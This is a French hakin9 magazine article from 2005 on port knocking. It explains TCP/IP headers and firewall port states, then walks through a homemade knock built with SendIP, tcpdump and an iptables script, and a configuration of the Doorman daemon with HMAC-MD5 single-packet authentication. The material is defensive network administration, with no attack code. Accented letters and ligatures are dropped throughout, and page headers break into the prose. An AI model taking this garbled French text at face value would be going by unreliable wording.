Port knocking
hakin9 N 6/2005 www.hakin9.org 13
dans le mme nombre de ports. Si
l'authentifcation s'effectue via un pa-
quet supportant une charge utile, vous
n'aurez besoin que d'un seul port.
Il existe un grand nombre d'impl-
mentations du port knocking et, dans
cet article, vous apprendrez vous
servir de Doorman. Premirement,
quelques bases de TCP/IP seront rap-
peles pour mieux comprendre ce qui
va se passer.
Comment cela
marche ?
Lorsque les donnes sont envoyes
entre deux ordinateurs, elles traver-
sent plusieurs couches de logiciels et
de matriels pour garantir la livraison
spcifque l'application approprie.
Il existe plusieurs manires pour
envoyer des donnes via Internet.
Dans cet article, vous vous concen-
trez brivement sur TCP et UDP :
deux protocoles communs. Dans un
premier temps, vous analysez la struc-
ture d'un paquet Ethernet et ensuite,
vous observez comment se droule la
communication TCP. La connaissance
de la structure du paquet vous aidera
comprendre comment fonctionne
le port knocking. titre d'exemple,
certaines implmentations incorporent
les jetons d'authentifcation l'intrieur
du paquet de manire non-standard.
Lors de la transmission IP, les
donnes sont encapsules dans les
paquets (voir l'Encadr Paquets et
datagrammes) avec plusieurs niveaux
d'en-ttes (voir la Figure 1). Un autre
en-tte est ajout aux trois des qua-
tre couches de la pile TCP/IP. L'en-
tte Ethernet est ajout la couche
de liaison aux donnes (couche 2),
l'en-tte IP la couche de rseau
(couche 3) et l'en-tte spcifque au
protocole (p. ex. TCP ou UDP) la
couche transport (couche 4). Dans
tous ces cas, l'en-tte de la couche de
la pile fait partie de la charge de don-
nes de la couche prcdente.
Le standard Ethernet (IEEE
802.3) permet aux donnes dans la
couche accs du rseau d'augmen-
ter jusqu' 1500 octets (Maximum
Transfer Unit, MTU : unit de transfert
d'information maximale). Grce aux
progrs rcents en ce qui concerne
la vitesse de transfert de donnes,
on pense souvent que la MTU est
trop petite, provoquant trop de temps
systme associ au protocole et on
fait actuellement des efforts (voir
http://www.psc.edu/~mathis/MTU/ )
pour inclure le support pour des MTU
plus grandes (par exemple, 12 Ko
pour un lien 100 Mbit).
Chaque en-tte de la couche
rseau stocke un grand nombre d'in-
formations (voir la Figure 2) afn de
fournir les matriels et les logiciels
qui oprent sur cette couche pour
dlivrer correctement les donnes
la pile TCP/IP. Plus tard, vous
examinerez un paquet en dtails,
puis l'emplacement sera indiqu
TCP et three-way-handshake
TCP est un protocole orient connexion, fable et dot de fots d'octets. Tous ces
termes ont des dfnitions spcifques dans le contexte de transfert de donnes. Les
aspects de la communication TCP peuvent tre renverss dans un systme de port
knocking pour permettre d'effectuer une authentifcation travers un port ferm.
Premirement, la connexion TCP ouvre un socket et coute passivement les con-
nexions entrantes. Un socket est une combinaison d'adresses IP, de protocoles et de
ports. Un client distant, qui souhaite se connecter au socket du serveur, associ en
gnral un service spcifque (p. ex. SSH), enverra un paquet TCP avec l'ensemble
de drapeaux SYN (synchronize sequence numbers numros de squence synchro-
niss) pour indiquer une requte de connexion. L'objectif du paquet SYN consiste
demander la valeur initiale d'un index intgr dans l'en-tte TCP (numro de s-
quence) pour permettre au client de rcrer l'ordre initial de paquets.
Si le fltre IP permet de tenter la connexion, l'application adapte TCP rpondra
en renvoyant un paquet SYN/ACK (ACK : accus de rception) contenant le numro
initial de squence. Le client confrmera l'accus de rception en envoyant un paquet
ACK et en terminant ainsi la connexion. Le prambule d'tablissement de connexion
fait en sorte que TCP soit un protocole orient connexion.
TCP est aussi un protocole de fot d'octets car il envoie des donnes de manire
ordonne ; cette dmarche est possible grce aux numros de squence. Par con-
squent, le client peut recevoir des paquets dans n'importe quel ordre et se servir de
numros de squence pour rtablir l'ordre initial.
TCP est un protocole fable car pendant la connexion TCP, le client confrme rgu-
lirement qu'il avait bien reu des donnes. Si l'expditeur ne reoit aucun accus de
rception aprs une dure dtermine, il enverra les donnes de nouveau.
tats de ports
Un port est un composant d'un socket rseau, les autres sont l'adresse IP et le protoco-
le. L'adresse IP est spcifque au priphrique rseau alors que le port est spcifque
l'application dsigne pour recevoir le paquet. Les ports sont numrots et ils varient
entre 0 et 65535 pour TCP et UDP. Un priphrique rseau donn est dot d'un grand
nombre de sockets ouverts aux ports diffrents. titre d'exemple, SSH est assign
conventionnellement au port 22 TCP.
Le sort du paquet destin un port spcifque dpend du fltre IP sur le serveur
qui reoit le paquet. En ce qui concerne iptables, le port peut se trouver dans l'un des
trois tats suivants :
le statut de port est OPEN lorsque le fltre IP permet aux paquets de monter la
pile TCP/IP et d'atteindre l'application. Le fltre IP ne se proccupe pas du fait si
l'application est en train de s'excuter ou pas ; il permet tout simplement au paquet
d'atteindre la couche application.
Si le statut de port est REJECT, le serveur retourne alors un paquet d'erreur ICMP
au client connect en l'informant que la connexion a t refuse. Ce mode permet
au client de recevoir la confrmation de l'existence du serveur. Les paquets refuss
n'atteignent pas la couche application.
Enfn, lorsqu'un port est confgur aux connexions DROP (ou DENY dans ipchains),
le serveur ignore les tentatives de connexion et ne retourne aucun paquet d'erreur.
Dans ce mode, le client ne reoit aucune confrmation de l'existence du serveur.
hakin9 N 6/2005 www.hakin9.org
Dossier
14
et plusieurs champs importants de
ces en-ttes seront forms.
Il existe deux types de systmes
du port knocking : ceux qui se ser-
vent de UDP et ceux qui se servent
de TCP (voir l'Encadr UDP ou TCP
pour le port knocking). Certaines
implmentations se servent de ICMP
ou des combinaisons de protocoles.
Les systmes TCP utilisent une partie
de l'tablissement de connexion en
trois tapes de TCP (voir l'Encadr
TCP et three-way-handhake), un
prambule d'change TCP entre deux
ordinateurs ; pendant cet change,
une connexion s'tablit et la valeur ini-
tiale est confgure pour le compteur
d'ordre de paquets. Les systmes de
port knocking TCP peuvent crypter
les informations en valeurs de port
de destination dans une squence
de paquets, dans l'en-tte ou dans la
charge de donnes d'un paquet. Vous
verrez un exemple d'ajout de donnes
un en-tte de paquet. Les systmes
UDP envoient en gnral un seul pa-
quet, contenant les donnes d'authen-
tifcation, places dans la charge dans
le paquet.
Indpendamment de l'utilisation
UDP ou de TCP, un serveur de port
knocking alloue un ensemble de ports
ferms (voir l'Encadr tats de ports)
et les surveille pour des paquets
formats spcialement pour former
la frappe au port. La frappe a un
rle d'un dclencheur personnalis :
chaque utilisateur peut disposer
de sa propre frappe, cre partir
de ses jetons d'authentifcation ou
d'autres informations personnelles.
Le port knocking est un systme
d'authentifcation unique car le client
envoie ses jetons d'authentifcation
travers les ports ferms sans accus
de rception. Par consquent, le client
est authentif inconditionnellement et
n'est pas conscient si une authentif-
cation a lieu ou si elle russit. Le port
knocking est plus diffcile dtecter et
dtourner par un intrus. La frappe
formate correctement dclenche
l'activit du serveur conformment
aux instructions qu'elle contient. Le
serveur peut ouvrir ou fermer un port
l'adresse IP du client ou raliser toute
autre action, par exemple, envoyer un
Figure 3. tapes dans un port knocking traditionnel effectue l'aide
d'une squence de ports, envoys par les paquets SYN afn de coder les
informations d'authentifcation
Efforts de pionniers
Parmi les deux efforts antrieurs qui ont implment une variante de port knocking,
avant d'inventer le terme actuel, citons cd00r et SAdoor. cd00r par FX de Phenoelit a
t cr afn de fournir un accs un ordinateur distant qui n'informaient pas des ports
ouverts. C'est une implmentation C minimale qui initie un dmon inetd quand les
paquets TCP SYN sont dtects dans une squence fxe de ports spcifques. SAdoor
par CMN de Darklabs a t infuenc par cd00r. Il se repose sur une authentifcation
via une squence de paquets cls, formats de manire spcifque, suivis par un pa-
quet fnal de commandes. Ce dernier stocke une commande code, excuter sur le
serveur l'intrieur de sa charge utile.
Port knocking
hakin9 N 6/2005 www.hakin9.org 15
courriel, effectuer une sauvegarde,
voire s'arrter.
Implmentation
traditionnelle
Le mcanisme de port knocking a t
offciellement dcrit pour la premire
fois dans un magazine SysAdmin,
bien que plusieurs projets pilotes
aient dj exist (voir l'Encadr Ef-
forts de pionniers). La spcifcation
initiale du port knocking dcrivait une
authentifcation effectue via une s-
rie de paquets SYN. La squence
de port servait crypter les jetons
d'authentifcation, par exemple, une
frappe de 8 ports contenaient les oc-
tets suivants : adresse IP, port, dure
et somme de contrle.
Au lieu d'utiliser l'adresse IP,
stocke dans l'en-tte du paquet
(qui peut tre faux), le client a insr
son adresse IP dans la frappe. Les
champs de port et de dure stockent
le port auquel le client veut accder
et la dure pendant laquelle le port
reste ouvert. La somme de contrle
d'un octet a t prsente afn de
permettre au client de confrmer
l'ensemble de la frappe. Cette frappe
a t ensuite chiffr et code dans
un ensemble de ports ferms du
serveur. Le serveur, la rception
des paquets SYN de la frappe,
rcupre le port de destination
depuis chaque paquet, dcode et
dchiffre cette squence de ports et
ensuite, il procde conformment aux
instructions codes dans la frappe.
La Figure 3 prsente ce processus
traditionnel de port knocking.
Il est important de chiffrer la
squence de port afn d'emp-
cher les attaques de mystifcation
(spoofng) et Man-In-The-Middle
bien que le chiffrage ne concerne
pas le problme d'attaques par
rejeu (replay attack) ce que sera
dcrit dans la suite de cet article.
Il est alors trs facile d'implmenter le
port knocking. Le client peut raliser
des paquets l'aide d'un gnrateur
de paquets ddis, comme SendIP.
Il n'a plus besoin d'un knocker. Les
paquets SYN entrants peuvent tre
logus dans un fchier de traces ip-
tables. Par consquent, ils peuvent
tre surveills mme par le plus pri-
mitif outil de gestion de fchiers, com-
me grep. Sinon, les paquets entrants
peuvent tre surveills directement
l'aide de tcpdump.
Port knocking avec
SendIP et tcpdump
C'est la simplicit conceptuelle et
une facilit relative d'implmentation
qui rendent le port knocking un
systme attrayant. Bien que les
systmes de port knocking solides,
conus pour des environnements
de trafc dense, ncessitent des
capacits importantes, il est
possible d'introduire une solution
DYI l'aide des outils utiliss
couramment. Regardons une de
telles implmentations simples.
L'objectif consiste concevoir un
systme, vous permettant d'tablir
une connexion SSH un systme,
qui n'a aucun port ferm. Vous vous
servez de SendIP pour raliser et
envoyer des paquets-dclencheurs
au serveur. Le serveur surveillera
ces paquets l'aide de tcpdump.
Lorsqu'un paquet-dclencheur bien
format arrive, le serveur ouvre le
port demand l'adresse IP entrant
pour la dure de 10 secondes, afn
de permettre d'initier une connexion.
Les rgles du pare-feu sont ensuite
redmarres et aucune nouvelle con-
nexion n'est accepte. On utilisera
Listing 1. Ensemble initial de rgles pour le pare-feu
# Firewall confguration written by system-confg-securitylevel
# Manual customization of this fle is not recommended.
*flter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -s 0/0 -d 0/0 -p udp -j DROP
-A INPUT -s 0/0 -d 0/0 -p tcp --syn -j DROP
COMMIT
Listing 2. Ensemble initial de rgles pour le pare-feu une liste de
tables
# iptables -L
Chain FORWARD (policy DROP)
target prot opt source destination
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
DROP udp -- anywhere anywhere
DROP tcp -- anywhere anywhere tcp fags:SYN,RST,ACK/SYN
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Listing 3. tcpdump dtecte les paquets envoys aux ports, dsigns au
port knocking
21:24:48.931043 IP
(tos 0x0, ttl 255, id 23105, offset 0, fags [none], proto 6, length: 40)
10.1.17.1.1000 > 10.1.17.90.1005: S [tcp sum ok] 17:17(0) win 65535
21:24:54.033659 IP
(tos 0x0, ttl 255, id 2483, offset 0, fags [none], proto 6, length: 40)
10.1.17.1.1000 > 10.1.17.90.1022: S [tcp sum ok] 17:17(0) win 65535
hakin9 N 6/2005 www.hakin9.org
Dossier
16
Red Hat Fedora 4 dot d'une pile
2.6.11-1.1369_FC4 kernel, iptables
1.3.0, tcpdump 3.8, libpcap 0.8.3
et SendIP 2.5-1 pour raliser ces
exemples. L'adresse IP du serveur
du port knocking est IP 10.1.17.90 et
celle du client : IP 10.1.17.1.
Commencez avec un ensemble
classique de rgles pour le pare-feu
sur le serveur (voir les Listings 1 et 2).
Cet ensemble de rgles n'autorise
pas les nouvelles connexions TCP
et ne permet pas aux paquets UDP
d'accder des ports ; il permet tou-
tefois de continuer les connexions
tablies auparavant.
Vous allez dclencher une
ouverture d'un port choisi au
moyen d'un seul paquet TCP SYN.
Ce paquet sera envoy un port
entre 100010999 et le numro
de la squence dans l'en-tte sera
confgur 17. Ces deux conditions
sont simplistes et arbitraires.
L'objectif consiste rendre les
paquets relativement inhabituels
pour pouvoir bien les distinguer du
reste du trafc. Vous envoyez donc
un paquet l'aide de SendIP au port
1022 sur le serveur et on vous en
explique les raisons dans un instant.
Le drapeau SYN est confgur
l'aide de -tfs 1 et le numro de
squence l'aide de -tn 17 :
# sendip -p ipv4 -p tcp \
-is 10.1.17.1 -ts 1000 \
-td 1022 -tfs 1 \
-tn 17 10.1.17.90
Sur le serveur, vous avez une
instance de tcpdump qui coute les
paquets-dclencheurs. Vous voulez
limiter les paquets aux paquets
SYN TCP, envoys au port entre
100010999 et dont le numro de
squence est 17. La commande
tcpdump qui s'en charge se prsente
de la manire suivante :
# tcpdump -vv \
-O "tcp[2:2] >= 1000 \
and tcp[2:2] <= 10999 \
and tcp[4:4] = 17 \
and tcp[tcpfags] \
& tcp-syn != 0"
Hlas, tcpdump ne supporte pas les
intervalles de ports appliques au
port primitif et il est donc ncessaire
d'utiliser tcp[2:2] afn d'indiquer
la valeur du port de destination.
Cette syntaxe indique un champ de
2 octets dans l'en-tte TCP, qui com-
mence l'octet 2 (tcp[start:length]).
Il est galement important de dsac-
tiver l'optimisation de moteur corres-
pondant (-O) car il existe des bogues
dans certaines versions de tcpdump
lorsqu'on utilise les oprateurs rela-
tifs, comme <= et >=.
Vous allez donc essayer
d'envoyer deux paquets : le premier
au port 1005 (-td 1005) et le second
au port 1022 (-td 1022). tcpdump
dtectera ces paquets et affchera
les informations concernant leurs
en-ttes (voir le Listing 3).
O se trouve l'information si
vous l'envoyez travers un port fer-
m ? Vous allez utiliser l'adresse IP
source du paquet ainsi que le port
de destination pour modifer les pa-
ramtres du pare-feu sur le serveur.
Le pare-feu sera ouvert pendant
10 secondes l'adresse IP source
pour permettre une connexion au
port de destination avec 10* en tte.
Par consquent, les deux paquets-
dclencheurs permettront les con-
nexions respectivement de 10.1.17.1
aux ports 5 (1005 sans 10*=100 en
tte) et 22 (1022 sans 10 en tte).
Vous terminerez le dclenchement
de l'ensemble des rgles pour le pa-
re-feu par un script bash guard.sh,
prsent sur le Listing 4.
Afn d'ouvrir le port 22 pour 10
secondes pour l'adresse IP source
10.1.17.1, le script devrait tre appel
de la manire suivante :
# guard 10.1.17.1 22
Maintenant, toutes les parties se
trouvent bien en place et la seule
chose qui reste consiste rcuprer
tcpdump pour dclencher l'excution
du script lorsqu'il examine les
paquets. Cette dmarche se termine
par la rediriection de tcpdump xargs
et par la cration d'une commande
bash, base sur le contenu de la
sortie de tcpdump :
# tcpdump -l -O \
"tcp[2:2] >= 1000 \
and tcp[2:2] <= 10999 \
and tcp[4:4] = 17 \
and tcp[tcpfags] \
& tcp-syn != 0" \
| sed -u s/.*IP \
\([0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\)
.*\.10*\([0-9]*\): S.*/\1 \2/ \
| xargs -t -l -i bash \
-c "guard.sh {} &"
Listing 4. guard.sh un script bash pour dclencher les rgles du pare-
feu afn d'tablir des connexions
#!/bin/bash
# guard.sh
# allow incoming packets
/sbin/iptables -I INPUT -j ACCEPT -i eth0 -p tcp -s $1 --dport $2
sleep 10
# deny incoming packets
/sbin/iptables -D INPUT -j ACCEPT -i eth0 -p tcp -s $1 --dport $2
Listing 5. Un port est ouvert dans le pare-feu
# iptables -L
(...)
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT tcp -- 10.1.17.1 anywhere tcp dpt:ssh
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
DROP udp -- anywhere anywhere
DROP tcp -- anywhere anywhere tcp fags:SYN,RST,ACK/SYN
(...)
Port knocking
hakin9 N 6/2005 www.hakin9.org 17
Il y a quelques mouvements ici, jetez
donc un coup d'il sur le canal. Vous
avez dj vu la sortie de tcpdump.
Vous n'utiliserez pas ici le drapeau
verbose (-vv) car vous n'avez pas be-
soin d'informations supplmentaires
sur les en-ttes. Vous utilisez le dra-
peau -l pour viter la buffrisation
de sortie de tcpdump. La sortie est
gre par sed pour supprimer tous
les lments de la ligne, l'exception
de l'adresse IP et du numro du port.
Par consquent, la ligne :
22:28:31.750989 \
IP 10.1.17.1.1000 \
> 10.1.17.90.1022: \
S 17:17(0) win 65535
sera transforme en
10.1.17.1 22
Enfn, xargs sert crer une
commande background pour appeler
le script bash guard.sh.
Tous les lments se trouvent
donc leur place. Lorsque le client
envoie le paquet-dclencheur au ser-
veur, tcpdump affchera l'en-tte du
paquet, sed transformera la sortie et
xargs appellera guard.sh avec le texte
rsultant en paramtres. Instantan-
ment, un port s'ouvrira pour permettre
au client de se connecter (voir le Lis-
ting 5). Cette porte disparatra dans
10 secondes, ce qui doit suffre au
client d'initier une connexion.
Pourquoi tes-vous capables
de supprimer les rgles initiales, qui
permettaient au client de se connec-
ter, sans terminer soudainement sa
session SSH ? Grce une autre
rgles existante (...state RELATED,
ESTABLISHED) qui suit les connexions
et accepte les paquets, associs
aux connexions tablies. Les pa-
quets provenant de deux directions
et allant vers ces connexions ont t
vus (p. ex. aprs un tablissement de
three-way handshake, une connexion
TCP est tablie).
Ce simple exemple dmontre
qu'aucune connaissance de la
programmation rseau ou de la
pile TCP/IP n'est ncessaire pour
implmenter le port knocking sous
sa forme la plus simple. Cela dit, ne
vous servez pas de cette implmen-
tation pour votre usage quotidien :
le paquet-dclencheur est simple
rpter et n'offre aucune protection
contre la falsifcation. Cet exemple
sert illustrer que vous n'avez pas
besoin de faire grand-chose pour
augmenter considrablement la s-
curit de votre systme. Si vous ad-
ministrez des ordinateurs distants via
SSH et que vous tes le seul vous
loguer, cet exemple vous montre
comment maintenir la connectivit
depuis n'importe o sans ouvrir le
port SSH tout le monde.
Port knocking
avec un twist
Il existe de nombreuses implmenta-
tions du port knocking (voir la Figure 4).
Doorman de Bruce Ward aborde
la spcifcation du port knocking d'une
manire diffrente et plus lgante.
Doorman sera utilis pour vous mon-
trer comment confgurer un port knoc-
king dans votre systme, car il se sert
d'un seul paquet-dclencheur UDP
(voir l'Encadr UDP ou TCP pour le
port knocking), il supporte un fchier
contenant des mots de passe, inclut
des mesures anti-rejeu et fournit une
compatibilit out-of-the-box dot de
nombreux pare-feux, y compris ip-
chains, iptables et PF. Votre objectif
consiste confgurer Doorman pour
qu'il accepte des connexions de deux
utilisateurs fctifs. Ces utilisateurs
seront capables de se connecter
aux services rseau sur un systme
ferm. Vous allez galement analyser
la faon dont Doorman fonctionne
pour voir les techniques dont il se sert
pour la scurit.
Listing 6. Contenu du fchier guestlist
martink hushhush 22 10.1.17.0/24
jacekz pizzapie 22 23 25 192.168.0.0/16
Listing 7. Sortie de Doorman de la premire tentative de frappe
Aug 23 23:26:29 asphyxia doormand[26673]:
notice: Doorman V0.8 starting; listening on eth0 10.1.17.90
Aug 23 23:26:34 asphyxia doormand[26673]:
info: knock from 10.1.17.1 :
22 martink 1519966632 4270a3248a23c209b37d35bb060e1cd6
Aug 23 23:26:34 asphyxia doormand[26673]:
debug: knock from 10.1.17.1 was valid.
Aug 23 23:26:34 asphyxia doormand[26675]:
debug: open a secondary pcap:
'tcp and dst port 22 and src 10.1.17.1 and dst 10.1.17.90'
Aug 23 23:26:34 asphyxia doormand[26675]:
debug: run script:
'/usr/local/etc/doormand/iptables_add eth0 10.1.17.1 0 10.1.17.90 22'
Aug 23 23:26:34 asphyxia doormand[26675]:
debug: output from script: '0'
Listing 8. Une porte ouverte au moyen de Doorman
# iptables -L
(...)
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT tcp -- 10.1.17.1 10.1.17.90 tcp dpt:ssh
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
DROP udp -- anywhere anywhere
DROP tcp -- anywhere anywhere tcp fags:SYN,RST,ACK/SYN
(...)
hakin9 N 6/2005 www.hakin9.org
Dossier
18
Au lieu d'envoyer des
informations d'authentifcation via
les tentatives de connexion aux
ports ferms, Doorman se sert d'un
paquet UDP, contenant 4 chanes de
caractres pour l'authentifcation et
le contrle d'accs. La charge utile
comprend une fonction de hachage
MD5 du secret partag, cr
l'aide d'une combinaison du port
demand, de l'identifant d'utilisateur
et d'un numro alatoire. Lorsque
le dmon Doorman reoit ce type
de paquet, il vrife si l'information
d'authentifcation est valide. Pour ce
faire, il cherche une phrase secrte
pour l'identifant du groupe/utilisateur
correspondant, trouv dans le paquet
et il cre sa propre version de la
fonction de hachage MD5. Ensuite,
il compare cette fonction avec celle
trouve dans le paquet et permet
d'accder au port spcif si les deux
fonctions correspondent.
Confgurer Doorman
Utiliser Doorman (pour les adresses,
reportez-vous l'Encadr Sur In-
ternet) pour protger votre systme
est trs simple. Vous trouverez les
instructions de compilation et d'ins-
tallation dans les fchiers INSTALL
et README. Le fchier binaire du
service, c'est doormand et le script
de knocker, c'est knock.
Le dmon doormand coute sur
un port particulier si des paquets
UDP arrivent avec une charge sp-
cifque. La dfnition du port UDP
se trouve dans le fchier de conf-
guration /usr/local/etc/doorman/
doorman.cf. Le fchier EXAMPLE
que vous trouverez dans le mme
rpertoire aprs l'installation devrait
tre utilis comme la base de votre
confguration. Doorman se sert par
dfaut de UDP port 1001 et vous
n'avez pas besoin de le changer
moins d'utiliser ce port pour
d'autres applications. Bien videm-
ment, si vous vous servez d'un autre
port, vous risquez que les frappes de
Doorman soient dcouvertes par un
intrus potentiel.
Listing 9. Doorman dtecte les paquets SYN et limite l'accs au port
Aug 24 00:17:47 asphyxia doormand[27227]:
debug: Initial SYN packet detected, martink@10.1.17.1:58360 -> 22
Aug 24 00:17:47 asphyxia doormand[27227]:
debug: run script:
'/usr/local/etc/doormand/iptables_add eth0 10.1.17.1 58360 10.1.17.90 22'
Aug 24 00:17:48 asphyxia doormand[27227]:
debug: output from script: '0'
Aug 24 00:17:48 asphyxia doormand[27227]:
debug: run script:
'/usr/local/etc/doormand/iptables_delete eth0 10.1.17.1 0 10.1.17.90 22'
Aug 24 00:17:48 asphyxia doormand[27227]:
debug: output from script: '0'
Aug 24 00:17:48 asphyxia doormand[27227]:
info: connection established, martink@10.1.17.1:58360 -> sshd(pid 27231)
Listing 10. La rgle de Doorman pour le pare-feu, en limitant l'accs
SSH un port source slectionn
# iptables -L
(...)
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT tcp -- 10.1.17.1 10.1.17.90 tcp spt:58359 dpt:ssh
(...)
Listing 11. Doorman supprime la porte SSH
Aug 24 00:19:52 asphyxia doormand[27227]:
info: sshd(pid 27231) (martink@10.1.17.1:58360) has stopped running.
Aug 24 00:19:52 asphyxia doormand[27227]:
debug: run script:
'/usr/local/etc/doormand/iptables_delete eth0 10.1.17.1 58360 10.1.17.90 22'
Listing 12. Un exemple de
.knockcf
$ cat ~/.knockcf
grp martink
port 1001
secret hushhush
run "ssh %H%"
Listing 14. Calcul d'une fonction de hachage et emploi de SendIP la
place du script knock de Doorman
$ ./doormandigest.pl hushhush 22 martink
22 martink 1035771909 bcc15f315ace1c34a7ed25a80b548594
# sendip -p ipv4 -p tcp -is 10.1.17.1 -us 1002 -ud 1001 \
-d "22 martink 1035771909 bcc15f315ace1c34a7ed25a80b548594" 10.1.17.90
Listing 13. Code Perl (doormandigest.pl) pour calculer une fonction de
hachage Doorman
#!/usr/bin/perl
# doormandigest [secret] [port] [user]
$,=" ";
my ($secret,$port,$user) = @ARGV;
use Digest::HMAC_MD5 qw(hmac_md5 hmac_md5_hex);
my $r = int rand() * (2**31-1);
my $key = "$port $user $r";
print $key,hmac_md5_hex($secret,$key),"\n";
Port knocking
hakin9 N 6/2005 www.hakin9.org 19
Doorman requiert un fchier
contenant des mots de passe
/usr/local/etc/doorman/guestlist afn
de lister ceux qui peuvent ouvrir
le pare-feu aux connexions. Vous
voulez que deux utilisateurs puis-
sent accder SSH : martink et
jacekz. Les autres champs dans le
fchier guestlist contiennent le mot
de passe (stocks en plein texte),
les ports que l'utilisateur peut de-
mander d'ouvrir et l'adresse du
rseau d'o l'utilisateur peut se con-
necter (voir le Listing 6).
Obtenir l'accs
l'aide de Doorman
Une fois les modifcations dans
guestlist effectues, il est temps de
lancer Doorman. Vous le stockez en
avant-plan en utilisant -D pour voir
des messages de dbogage.
# /usr/local/sbin/doorman -D
Doorman est prsent prt recevoir
des paquets d'authentifcation sur
votre serveur (10.1.17.90). Vous
envoyez le paquet-dclencheur de
votre client (10.1.17.1) en utilisant le
client knock de Doorman. Pour cet
exemple, vous identiferez vous-
mme comme martink et vous
demanderez Doorman d'ouvrir le
port 22.
$ /usr/local/bin/knock \
-g martink -p 1001 \
-s hushhush 10.1.17.90 22
Une fois le paquet-dclencheur
envoy, vous verrez que doormand
cre une sortie. Cette sortie indique
que le paquet a t intercept et la
porte dans le pare-feu a t ouverte
pour permettre au client de se
connecter au port 22. La sortie de
dbogage (voir le Listing 7) montrera
que Doorman se sert du script d'aide
iptables_add pour le terminer.
Pour une analyse plus profonde
du paquet-dclencheur l'aide de
tcpdump, reportez-vous l'Encadr
Dclencheur de Doorman. Lorsque
Doorman a intercept ce paquet, il a
ouvert une porte dans votre pare-feu.
Pour le voir, vous pouvez affcher les
rgles actuelles via la commande -L
(voir le Listing 8).
En effet, vous pouvez maintenant
vous connecter de 10.1.17.1 au port 22.
Vous pouvez vous connecter au ser-
vice SSH sur votre serveur. Doorman
attendra 10 secondes (paramtre
waitfor dans doorman.cf) avant de
fermer le pare-feu et de le remettre
dans son tat prcdent. Lorsque
Dclencheur de Doorman
Lors de l'tape d'authentifcation de Doorman, vous avez ouvert une session de
tcpdump sur le serveur afn de contrler les paquets-dclencheurs.
# tcpdump XX ipv4 udp port 1001
Voici un tel paquet-dclencheur intercept par tcpdump.
23:26:34.564881 IP 10.1.17.1.57014 > 10.1.17.90.1001: UDP, length 54
0x0000: 000c 29be cde8 0050 0468 1429 0800 4500 ..)....P.h.)..E.
0x0010: 0052 ef07 4000 4011 1537 0a01 1101 0a01 .R..@.@..7......
0x0020: 115a deb6 03e9 003e 003c 3232 206d 6172 .Z.....>.<22.mar
0x0030: 7469 6e6b 2031 3531 3939 3636 3633 3220 tink.1519966632.
0x0040: 3432 3730 6133 3234 3861 3233 6332 3039 4270a3248a23c209
0x0050: 6233 3764 3335 6262 3036 3065 3163 6436 b37d35bb060e1cd6
Le dbut du paquet est un c en ASCII : ce sont en fait des en-ttes Ethernet, IP et
UDP (voir les Figures 1 et 2). Jetez un coup d'il sur ces en-ttes. L'en-tte Ethernet
est le premier, dont le prambule et le dlimiteur du dbut de trame sont supprims.
Vous voyez donc deux MAC adresses : celle du serveur au 10.1.17.90 (destination
MAC) et celle du client au 10.1.17.1 (source MAC). Le dernier champ de 2 octets
(0x0800) indique le protocole IP Ethernet :
000c 29be cde8 0050 0468 1429 0800
Les 20 octets suivants se trouvent dans l'en-tte IP :
4500
0052 ef07 4000 4011 1537 0a01 1101 0a01
115a
Le premier octet est 4, ce qui indique le protocole IP. L'octet suivant, 5, indique la
longueur du paquet en mots de 32 bits. Vous utilisez le protocole IP : UDP donc l'octet
10 est 0x11 = 17, autrement dit, la valeur pour UDP (TCP est 0x06). Les 8 derniers
octets sont deux adresses IP : l'adresse IP du client (0x0a01 0x1101 = 10.1.17.1) et
l'adresse IP du serveur (0x0a01 0x115a = 10.1.17.90).
Aprs l'en-tte IP, les 8 octets suivants sont une en-tte UDP :
deb6 03e9 003e 003c
dont les deux premiers octets dsignent le port source (0xdeb6 = 57,014) et les deux
suivants le port de destination (0x03e9 = 1001). Les lments restants de l'en-tte
UDP sont : la longueur de l'en-tte, les donnes (0x003e = 62 octets) et la somme
de contrle. L'lment restant de la sortie tcpdump est la charge de donnes du
paquet :
22 martink 1519966632 4270a3248a23c209b37d35bb060e1cd6
Voici la requte de doorman et les jetons d'authentifcation. D'abord, il y a le port
dont l'ouverture vous avez demand (22), suivi du nom de l'utilisateur et d'une
valeur alatoire, choisie par le frappeur. La dernire valeur est une fonction de
hachage HMAC MD5 de votre secret (hushhush) dont la cl est une chane 22
martink 1519966632. Doorman n'acceptera pas plusieurs paquets-dclencheurs
avec la mme valeur alatoire, en limitant ainsi la capacit de rejeu du dclen-
cheur.
hakin9 N 6/2005 www.hakin9.org
Dossier
20
vous dmarrez la connexion SSH,
Doorman dtectera le paquet SYN et
reformera la rgle du pare-feu afn de
limiter le nombre des ports sources
du client d'o l'arrive des paquets
est autorise. Doorman acceptera
davantage de paquets du mme port
d'o le paquet SYN a t envoy (voir
le Listing 9). cette tape, le pare-
feu contient la nouvelle rgle raffne
(Listing 10). Plusieurs minutes plus
tard, lorsque vous terminez la con-
nexion au serveur, Doorman le repre
et supprime les rgles raffnes du
pare-feu. Le serveur n'accepte plus
les paquets de votre port 58360 (voir
le Listing 11).
Doorman avanc
Au lieu de taper l'identifant de
l'utilisateur et le port de Doorman
sur la ligne de commandes lors de
l'utilisation de knock, vous pouvez
crer .knockcf dans votre rpertoire
personnel (home) qui stockera ces
valeurs. Vous pouvez y inclure une
commande excuter par knock 0.1
secondes aprs l'envoi du paquet-
dclencheur. Cette opration est trs
utile lorsque vous vous connectez
toujours au mme service, comme
SSH, et que vous ne voulez pas
vous occuper d'ouvrir le client SSH.
Vous pouvez galement choisir de
stocker votre secret dans ce fchier,
mme s'il est en plein texte. Pour
des raisons de protection, knock ne
se lancera pas tant que l'autorisation
de .knockcf n'est pas gale 0600,
pour que les autres ne puissent
pas voir votre secret. Le Listing 12
prsente un exemple de .knockcf.
Vous pouvez envoyer un pa-
quet-dclencheur manuellement,
en utilisant SendIP la place de
knock. Vous devriez calculer votre
